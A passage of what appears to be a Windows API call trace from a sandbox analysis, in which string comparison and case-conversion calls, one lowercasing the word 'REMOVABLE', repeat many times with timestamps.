(Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.233] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.239] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.239] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.239] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.239] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.239] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.240] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.240] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.240] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.240] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.240] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.240] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.240] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.240] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.240] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.240] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.240] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.240] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.241] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.241] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.241] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.241] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.241] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.241] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.241] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.241] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.242] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.242] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.242] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.242] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.242] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.242] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.242] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.242] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.243] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.243] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.243] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.243] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.243] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.243] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.244] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.244] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.244] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.244] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.244] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.244] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.244] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.245] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.245] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.245] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.245] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.245] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.245] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.245] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.246] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.246] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.246] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.246] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.246] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.246] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.246] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.246] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.246] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.247] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.247] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.247] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.247] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.247] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.247] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.247] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.247] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.247] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.248] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.248] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.252] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.252] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.252] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.252] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.253] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.253] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.253] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.253] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.253] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.253] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.253] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.253] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.254] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.254] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.254] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.254] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.255] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.255] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.255] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.255] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.255] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.255] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.255] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.255] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.256] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.256] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.256] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.256] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.256] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.256] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.256] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.256] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.259] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.259] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.259] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.259] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.259] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.260] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.260] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.260] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.261] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.261] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.261] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.261] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.261] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.261] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.261] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.261] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.262] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.262] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.262] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.262] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.262] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.262] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.262] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.263] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.263] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.263] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", 